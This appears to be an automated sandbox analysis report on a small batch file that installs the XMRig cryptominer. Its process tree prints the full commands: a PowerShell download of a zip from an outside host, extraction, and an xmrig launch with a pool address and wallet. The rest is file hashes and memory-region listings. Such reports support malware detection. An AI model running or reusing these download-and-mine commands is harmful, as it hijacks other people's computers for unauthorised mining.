Analysis

  • max time kernel
    1802s
  • max time network
    1814s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231023-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231023-enlocale:en-usos:windows10-2004-x64system
  • submitted
    23-10-2023 16:20

General

  • Target

    tesy - Copy (4).bat

  • Size

    706B

  • MD5

    035f17438f6146d5ac7285b4adfeb370

  • SHA1

    ef83c877367e96073e2b9b841d9c03ece6b1df7e

  • SHA256

    02261a07ff83d906a835ac5229b25595239717e0091f2462804d0a31859bbdc0

  • SHA512

    49455c7edd51537ba92e2db0941f571cd6ad89252702a19cf5910b390b182c16fc970ca62c26582b293ac5fc096e84538c5634472ab6e31bbd29242e8bb816cf

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://cdn.nest.rip/uploads/fe8c3030-34d2-4153-bdb3-f0ef0fdd51b2.zip

Signatures

  • XMRig Miner payload 64 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (4).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2312
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://cdn.nest.rip/uploads/fe8c3030-34d2-4153-bdb3-f0ef0fdd51b2.zip', 'test1.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4024
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'test1.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2596
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /K start.cmd
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2212
      • C:\Users\Admin\AppData\Local\Temp\xmrig-6.20.0\xmrig.exe
        xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
        3⤵
        • Executes dropped EXE
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of FindShellTrayWindow
        PID:2648

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    b4b6b8df15b60144120aaa8b547cffdc

    SHA1

    a3fccb61af44158a9506216f2212975a0af1cea3

    SHA256

    679e3d83bab49ad0ca3b3acb0f9c125c3930dbab0fd791f34164e25332b9d867

    SHA512

    c2f3c79d26ce794899ca86e4234385ddd3b1e6106fd4750d6b3777ba2456f830028862d862f666cba7a848a237fdfa6b9c672a86677f834432da6add494da178

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_z0kqoaqq.nhe.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Local\Temp\test1.zip

    Filesize

    3.2MB

    MD5

    95452958f42b1b93f0c887f59d84d19f

    SHA1

    c861dc457d57471ab42879f49cc8fe171e7c9b1c

    SHA256

    dc24f4d37898468e34bee09afdcb7e1fc681ecbac667bc8eb3c62d035c0fd255

    SHA512

    96207cb7d6cb2977acfbc5e9f507fe0b1b43a5041e5ea50c63f4f7db620fa14512066781c306ba123b0e6aafbb048c4b042f5fdb21e97a48a536acd783b2e072

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.20.0\start.cmd

    Filesize

    278B

    MD5

    080123b6eac4a332d3f2b11f6eb3aa54

    SHA1

    8f3d40eae881e3b871cff2aa85521d727ada2a64

    SHA256

    cd7f2c4251361d8e83bc1857767c6eb20d305605ca78418aca3af439ff7d41e2

    SHA512

    0c5033e8a72a924d360bec1b1304889b23dea6a514cd18b055824c19d440a2875472ba70202efb4b7b636398ebd114b365ce88ca18b88a129588639c26d62d8c

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.20.0\xmrig.exe

    Filesize

    7.9MB

    MD5

    4813fa6d610e180b097eae0ce636d2aa

    SHA1

    1e9cd17ea32af1337dd9a664431c809dd8a64d76

    SHA256

    9ef2e8714e85dcd116b709894b43babb4a0872225ae7363152013b7fd1bc95bc

    SHA512

    5463e61b9583dd7e73fc4c0f14252ce06bb1b24637fdf5c4b96b3452cf486b147c980e365ca6633d89e7cfe245131f528a7ecab2340251cef11cdeb49dac36aa

  • memory/2596-27-0x00000161E9750000-0x00000161E9760000-memory.dmp

    Filesize

    64KB

  • memory/2596-30-0x00000161EA4B0000-0x00000161EA4C2000-memory.dmp

    Filesize

    72KB

  • memory/2596-31-0x00000161EA4A0000-0x00000161EA4AA000-memory.dmp

    Filesize

    40KB

  • memory/2596-29-0x00000161E9750000-0x00000161E9760000-memory.dmp

    Filesize

    64KB

  • memory/2596-33-0x00007FF94FC60000-0x00007FF950721000-memory.dmp

    Filesize

    10.8MB

  • memory/2596-34-0x00000161E9750000-0x00000161E9760000-memory.dmp

    Filesize

    64KB

  • memory/2596-35-0x00000161E9750000-0x00000161E9760000-memory.dmp

    Filesize

    64KB

  • memory/2596-36-0x00000161E9750000-0x00000161E9760000-memory.dmp

    Filesize

    64KB

  • memory/2596-44-0x00007FF94FC60000-0x00007FF950721000-memory.dmp

    Filesize

    10.8MB

  • memory/2596-26-0x00000161E9750000-0x00000161E9760000-memory.dmp

    Filesize

    64KB

  • memory/2596-21-0x00007FF94FC60000-0x00007FF950721000-memory.dmp

    Filesize

    10.8MB

  • memory/2648-76-0x00007FF7E1020000-0x00007FF7E1B23000-memory.dmp

    Filesize

    11.0MB

  • memory/2648-85-0x00007FF7E1020000-0x00007FF7E1B23000-memory.dmp

    Filesize

    11.0MB

  • memory/2648-50-0x00007FF7E1020000-0x00007FF7E1B23000-memory.dmp

    Filesize

    11.0MB

  • memory/2648-51-0x00007FF7E1020000-0x00007FF7E1B23000-memory.dmp

    Filesize

    11.0MB

  • memory/2648-52-0x000001F1E42D0000-0x000001F1E42F0000-memory.dmp

    Filesize

    128KB

  • memory/2648-53-0x000001F1E42F0000-0x000001F1E4310000-memory.dmp

    Filesize

    128KB

  • memory/2648-54-0x00007FF7E1020000-0x00007FF7E1B23000-memory.dmp

    Filesize

    11.0MB

  • memory/2648-55-0x000001F1E42D0000-0x000001F1E42F0000-memory.dmp

    Filesize

    128KB

  • memory/2648-56-0x000001F1E42F0000-0x000001F1E4310000-memory.dmp

    Filesize

    128KB

  • memory/2648-57-0x00007FF7E1020000-0x00007FF7E1B23000-memory.dmp

    Filesize

    11.0MB

  • memory/2648-58-0x00007FF7E1020000-0x00007FF7E1B23000-memory.dmp

    Filesize

    11.0MB

  • memory/2648-59-0x00007FF7E1020000-0x00007FF7E1B23000-memory.dmp

    Filesize

    11.0MB

  • memory/2648-60-0x00007FF7E1020000-0x00007FF7E1B23000-memory.dmp

    Filesize

    11.0MB

  • memory/2648-61-0x00007FF7E1020000-0x00007FF7E1B23000-memory.dmp

    Filesize

    11.0MB

  • memory/2648-62-0x00007FF7E1020000-0x00007FF7E1B23000-memory.dmp

    Filesize

    11.0MB

  • memory/2648-63-0x00007FF7E1020000-0x00007FF7E1B23000-memory.dmp

    Filesize

    11.0MB

  • memory/2648-64-0x00007FF7E1020000-0x00007FF7E1B23000-memory.dmp

    Filesize

    11.0MB

  • memory/2648-65-0x00007FF7E1020000-0x00007FF7E1B23000-memory.dmp

    Filesize

    11.0MB

  • memory/2648-66-0x00007FF7E1020000-0x00007FF7E1B23000-memory.dmp

    Filesize

    11.0MB

  • memory/2648-67-0x00007FF7E1020000-0x00007FF7E1B23000-memory.dmp

    Filesize

    11.0MB

  • memory/2648-68-0x00007FF7E1020000-0x00007FF7E1B23000-memory.dmp

    Filesize

    11.0MB

  • memory/2648-69-0x00007FF7E1020000-0x00007FF7E1B23000-memory.dmp

    Filesize

    11.0MB

  • memory/2648-70-0x00007FF7E1020000-0x00007FF7E1B23000-memory.dmp

    Filesize

    11.0MB

  • memory/2648-71-0x00007FF7E1020000-0x00007FF7E1B23000-memory.dmp

    Filesize

    11.0MB

  • memory/2648-72-0x00007FF7E1020000-0x00007FF7E1B23000-memory.dmp

    Filesize

    11.0MB

  • memory/2648-73-0x00007FF7E1020000-0x00007FF7E1B23000-memory.dmp

    Filesize

    11.0MB

  • memory/2648-74-0x00007FF7E1020000-0x00007FF7E1B23000-memory.dmp

    Filesize

    11.0MB

  • memory/2648-75-0x00007FF7E1020000-0x00007FF7E1B23000-memory.dmp

    Filesize

    11.0MB

  • memory/2648-48-0x000001F1E4160000-0x000001F1E4180000-memory.dmp

    Filesize

    128KB

  • memory/2648-77-0x00007FF7E1020000-0x00007FF7E1B23000-memory.dmp

    Filesize

    11.0MB

  • memory/2648-78-0x00007FF7E1020000-0x00007FF7E1B23000-memory.dmp

    Filesize

    11.0MB

  • memory/2648-79-0x00007FF7E1020000-0x00007FF7E1B23000-memory.dmp

    Filesize

    11.0MB

  • memory/2648-80-0x00007FF7E1020000-0x00007FF7E1B23000-memory.dmp

    Filesize

    11.0MB

  • memory/2648-81-0x00007FF7E1020000-0x00007FF7E1B23000-memory.dmp

    Filesize

    11.0MB

  • memory/2648-82-0x00007FF7E1020000-0x00007FF7E1B23000-memory.dmp

    Filesize

    11.0MB

  • memory/2648-83-0x00007FF7E1020000-0x00007FF7E1B23000-memory.dmp

    Filesize

    11.0MB

  • memory/2648-84-0x00007FF7E1020000-0x00007FF7E1B23000-memory.dmp

    Filesize

    11.0MB

  • memory/2648-49-0x000001F1E42B0000-0x000001F1E42D0000-memory.dmp

    Filesize

    128KB

  • memory/2648-86-0x00007FF7E1020000-0x00007FF7E1B23000-memory.dmp

    Filesize

    11.0MB

  • memory/2648-87-0x00007FF7E1020000-0x00007FF7E1B23000-memory.dmp

    Filesize

    11.0MB

  • memory/2648-88-0x00007FF7E1020000-0x00007FF7E1B23000-memory.dmp

    Filesize

    11.0MB

  • memory/2648-89-0x00007FF7E1020000-0x00007FF7E1B23000-memory.dmp

    Filesize

    11.0MB

  • memory/2648-90-0x00007FF7E1020000-0x00007FF7E1B23000-memory.dmp

    Filesize

    11.0MB

  • memory/2648-91-0x00007FF7E1020000-0x00007FF7E1B23000-memory.dmp

    Filesize

    11.0MB

  • memory/2648-92-0x00007FF7E1020000-0x00007FF7E1B23000-memory.dmp

    Filesize

    11.0MB

  • memory/2648-93-0x00007FF7E1020000-0x00007FF7E1B23000-memory.dmp

    Filesize

    11.0MB

  • memory/2648-94-0x00007FF7E1020000-0x00007FF7E1B23000-memory.dmp

    Filesize

    11.0MB

  • memory/2648-95-0x00007FF7E1020000-0x00007FF7E1B23000-memory.dmp

    Filesize

    11.0MB

  • memory/2648-96-0x00007FF7E1020000-0x00007FF7E1B23000-memory.dmp

    Filesize

    11.0MB

  • memory/2648-97-0x00007FF7E1020000-0x00007FF7E1B23000-memory.dmp

    Filesize

    11.0MB

  • memory/2648-98-0x00007FF7E1020000-0x00007FF7E1B23000-memory.dmp

    Filesize

    11.0MB

  • memory/2648-99-0x00007FF7E1020000-0x00007FF7E1B23000-memory.dmp

    Filesize

    11.0MB

  • memory/2648-100-0x00007FF7E1020000-0x00007FF7E1B23000-memory.dmp

    Filesize

    11.0MB

  • memory/2648-101-0x00007FF7E1020000-0x00007FF7E1B23000-memory.dmp

    Filesize

    11.0MB

  • memory/2648-102-0x00007FF7E1020000-0x00007FF7E1B23000-memory.dmp

    Filesize

    11.0MB

  • memory/2648-103-0x00007FF7E1020000-0x00007FF7E1B23000-memory.dmp

    Filesize

    11.0MB

  • memory/2648-104-0x00007FF7E1020000-0x00007FF7E1B23000-memory.dmp

    Filesize

    11.0MB

  • memory/2648-105-0x00007FF7E1020000-0x00007FF7E1B23000-memory.dmp

    Filesize

    11.0MB

  • memory/2648-106-0x00007FF7E1020000-0x00007FF7E1B23000-memory.dmp

    Filesize

    11.0MB

  • memory/2648-107-0x00007FF7E1020000-0x00007FF7E1B23000-memory.dmp

    Filesize

    11.0MB

  • memory/2648-108-0x00007FF7E1020000-0x00007FF7E1B23000-memory.dmp

    Filesize

    11.0MB

  • memory/2648-109-0x00007FF7E1020000-0x00007FF7E1B23000-memory.dmp

    Filesize

    11.0MB

  • memory/2648-110-0x00007FF7E1020000-0x00007FF7E1B23000-memory.dmp

    Filesize

    11.0MB

  • memory/2648-111-0x00007FF7E1020000-0x00007FF7E1B23000-memory.dmp

    Filesize

    11.0MB

  • memory/2648-112-0x00007FF7E1020000-0x00007FF7E1B23000-memory.dmp

    Filesize

    11.0MB

  • memory/2648-113-0x00007FF7E1020000-0x00007FF7E1B23000-memory.dmp

    Filesize

    11.0MB

  • memory/2648-114-0x00007FF7E1020000-0x00007FF7E1B23000-memory.dmp

    Filesize

    11.0MB

  • memory/2648-115-0x00007FF7E1020000-0x00007FF7E1B23000-memory.dmp

    Filesize

    11.0MB

  • memory/2648-116-0x00007FF7E1020000-0x00007FF7E1B23000-memory.dmp

    Filesize

    11.0MB

  • memory/4024-5-0x00000192B6040000-0x00000192B6062000-memory.dmp

    Filesize

    136KB

  • memory/4024-10-0x00007FF94FC60000-0x00007FF950721000-memory.dmp

    Filesize

    10.8MB

  • memory/4024-11-0x00000192B5750000-0x00000192B5760000-memory.dmp

    Filesize

    64KB

  • memory/4024-12-0x00000192B5750000-0x00000192B5760000-memory.dmp

    Filesize

    64KB

  • memory/4024-15-0x00007FF94FC60000-0x00007FF950721000-memory.dmp

    Filesize

    10.8MB